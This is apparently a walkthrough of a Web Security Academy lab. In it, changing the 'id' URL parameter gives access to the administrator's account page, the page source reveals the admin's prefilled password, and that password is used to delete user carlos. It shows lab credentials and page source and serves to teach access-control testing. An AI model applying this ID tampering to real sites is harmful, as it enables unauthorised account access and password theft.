

Lab: User ID controlled by request parameter with password disclosure

This lab has user account page that contains the current user's existing password, prefilled in a masked input.

To solve the lab, retrieve the administrator's password, then use it to delete the user `carlos`.

You can log in to your own account using the following credentials: `wiener:peter`



User ID controlled by request parameter with password disclosure

LAB Not solved



[Back to lab description >>](#)

[Home](#) | [My account](#) | [Log out](#)

My Account

Your username is: wiener

Email



Update email

Password

Update password

We can see that the password has been masked and our next task is to find the password of the administrator.

Not secure | <https://0a9b002403ca04968887304800e50059.web-security-academy.net/my-account?id=administrator>

WebSecurity Academy  User ID controlled by request parameter with password disclosure LAB Not solved 

[Back to lab description >>](#)

[Home](#) | [My account](#) | [Log out](#)

My Account

Your username is: administrator

Email

Update email

Password

Update password

In the URL if we change the id to administrator, we can see the masked password of the administrator,

By Viewing the page source we found the password of the administrator

```
Not secure | view-source:https://0a9b002403ca04968887304800e50059.web-security-academy.net/my-account?id=administrator
</a>
</div>
<div class='widgetcontainer-lab-status is-notsolved'>
  <span>LAB</span>
  <p>Not solved</p>
  <span class=lab-status-icon></span>
</div>
</div>
</div>
</section>
</div>
<div theme="">
  <section class="maincontainer">
    <div class="container is-page">
      <header class="navigation-header">
        <section class="top-links">
          <a href=/>Home</a><p>|</p>
          <a href="/my-account?id=wiener">My account</a><p>|</p>
          <a href="/logout">Log out</a><p>|</p>
        </section>
      </header>
      <header class="notification-header">
      </header>
      <h1>My Account</h1>
      <div id=account-content>
        <p>Your username is: administrator</p>
        <form class="login-form" name="change-email-form" action="/my-account/change-email" method="POST">
          <label>Email</label>
          <input required type="email" name="email" value="">
          <input required type="hidden" name="csrf" value="208MMlWC7q4WPJrUV1V47YgWoz3LwrBA">
          <button class='button' type='submit'> Update email </button>
        </form>
        <form class="login-form" action="/my-account/change-password" method="POST">
          <br/>
          <label>Password</label>
          <input required type="hidden" name="csrf" value="208MMlWC7q4WPJrUV1V47YgWoz3LwrBA">
          <input required type="password" name="password" value='cn4uhwa03ha56ja040va' />
          <button class='button' type='submit'> Update password </button>
        </form>
      </div>
    </div>
  </div>
```



User ID controlled by request parameter with password disclosure

LAB Not solved

[Back to lab description](#) >>

[Home](#) | [Admin panel](#) | [My account](#) | [Log out](#)

My Account

Your username is: administrator

Email

Update email

Password

Update password



User ID controlled by request parameter with password disclosure

[Back to lab description](#) >>

LAB Not solved 

[Home](#) | [Admin panel](#) | [My account](#)


Users

wiener - [Delete](#)
carlos - [Delete](#)



User ID controlled by request parameter with password disclosure

[Back to lab description](#) >>

LAB Solved 

Congratulations, you solved the lab!

Share your skills!   [Continue learning](#) >>

[Home](#) | [Admin panel](#) | [My account](#)

User deleted successfully!

Users

wiener - [Delete](#)